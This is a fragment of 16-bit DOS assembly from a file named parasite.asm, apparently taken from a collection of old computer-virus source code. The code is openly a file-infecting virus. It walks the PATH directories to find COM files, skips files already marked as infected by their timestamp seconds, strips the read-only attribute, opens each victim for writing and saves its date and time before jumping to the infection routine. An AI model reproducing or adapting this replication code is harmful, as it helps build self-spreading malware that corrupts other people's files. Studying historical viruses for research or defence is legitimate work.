parasite.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

        POP     SI                      ; Seek and Destroy...            
        PUSH    SI                                                       
        ADD     SI,env_str                                               
        LODSB                                                            
        MOV     CX,OFFSET 8000H                                          
        REPNZ   SCASB                                                    
        MOV     CX,4                                                     
                                                                         
check_next_4:                                                            
        LODSB                                                            
        SCASB                                                            
;                                                                        
; The JNZ line specifies that if there is no PATH present, then we will  
; along and infect the ROOT directory on the default drive.              
                                                                         
        JNZ     find_path               ;If not path, then go to ROOT di 
        LOOP    check_next_4            ;Go back and check for more char 
        POP     SI                      ;Load in PATH again to look for  
        POP     ES                                                       
        MOV     [SI+path_ad],DI                                          
        MOV     DI,SI                                                    
        ADD     DI,wrk_spc                                               
        MOV     BX,SI                                                    
        ADD     SI,wrk_spc              ;the File Handle                 
        MOV     DI,SI                                                    
        JMP     SHORT   slash_ok                                         
                                                                         
set_subdir:                                                              
        CMP     WORD PTR [SI+path_ad],0                                  
        JNZ     found_subdir                                             
        JMP     all_done                                                 
                                                                         
                                                                         
found_subdir:                                                            
        PUSH    DS                                                       
        PUSH    SI                                                       
        MOV     DS,ES:2CH                                                
        MOV     DI,SI                                                    
        MOV     SI,ES:[DI+path_ad]                                       
        ADD     DI,wrk_spc              ;DI is the handle to infect!     
                                                                         
                                                                         
move_subdir:                                                             
        LODSB                           ;To tedious work to move into su 
        NOP                                                              
        CMP     AL,';'                  ;Does it end with a ; character? 
        JZ      moved_one               ;if yes, then we found a subdir  
        CMP     AL,0                    ;is it the end of the path?      
        JZ      moved_last_one          ;if yes, then we save the PATH   
        STOSB                           ;marker into DI for future refer 
        JMP     SHORT   move_subdir                                      
                                                                         
moved_last_one:                                                          
        MOV     SI,0                                                     
                                                                         
moved_one:                                                               
        POP     BX                      ;BX is where the virus data is   
        POP     DS                      ;Restore DS                      
        NOP                                                              
        MOV     [BX+path_ad],SI         ;Where is the next subdir?       
        CMP     CH,'\'                  ;Check to see if it ends in \    
        JZ      slash_ok                ;If yes, then it's OK            
        MOV     AL,'\'                  ;if not, then add one...         
        STOSB                           ;store the sucker                
                                                                         
                                                                         
                                                                         
slash_ok:                                                                
        MOV     [BX+nam_ptr],DI         ;Move the filename into workspac 
        MOV     SI,BX                   ;Restore the original SI value   
        ADD     SI,f_spec               ;Point to COM file victim        
        MOV     CX,6                                                     
        REPZ    MOVSB                   ;Move victim into workspace      
hello:                                                                   
        MOV     SI,BX                                                    
        MOV     AH,4EH                                                   
        MOV     DX,wrk_spc                                               
        ADD     DX,SI                   ;DX is ... The File to infect    
        MOV     CX,3                    ;Attributes of Read Only or Hidd 
        INT     21H                                                      
        JMP     SHORT   find_first                                       
joe1:                                                                    
        JMP     go                                                       
                                                                         
find_next:                                                               
        MOV     AH,4FH                                                   
        INT     21H                                                      
                                                                         
find_first:                                                              
        JNB     found_file              ;Jump if we found it             
        JMP     SHORT   set_subdir      ;Otherwise, get another subdirec 
                                                                         
found_file:                                                              
        MOV     AX,[SI+dta_tim]         ;Get time from DTA               
        AND     AL,1EH                  ;Mask to remove all but seconds  
        CMP     AL,1EH                  ;60 seconds                      
        JZ      find_next                                                
        CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON 
        JA      find_next               ;If too long, find another one   
        CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?              
        JB      find_next               ;Then go find another one        
        MOV     DI,[SI+nam_ptr]                                          
        PUSH    SI                                                       
        ADD     SI,dta_nam                                               
                                                                         
more_chars:                                                              
        LODSB                                                            
        STOSB                                                            
        CMP     AL,0                                                     
        JNZ     more_chars                                               
        POP     SI                                                       
        MOV     AX,OFFSET 4300H                                          
        MOV     DX,wrk_spc                                               
        ADD     DX,SI                                                    
        INT     21H                                                      
        MOV     [SI+old_att],CX                                          
        MOV     AX,OFFSET 4301H                                          
        AND     CX,OFFSET 0FFFEH                                         
        MOV     DX,wrk_spc                                               
        ADD     DX,SI                                                    
        INT     21H                                                      
        MOV     AX,OFFSET 3D02H                                          
        MOV     DX,wrk_spc                                               
        ADD     DX,SI                                                    
        INT     21H                                                      
        JNB     opened_ok                                                
        JMP     fix_attr                                                 
                                                                         
opened_ok:                                                               
        MOV     BX,AX                                                    
        MOV     AX,OFFSET 5700H                                          
        INT     21H                                                      
        MOV     [SI+old_tim],CX         ;Save file time                  
        MOV     [SI+ol_date],DX         ;Save the date                   
        MOV     AH,2CH                                                   
        INT     21H                                                      
        AND     DH,7                                                     
        JMP     infect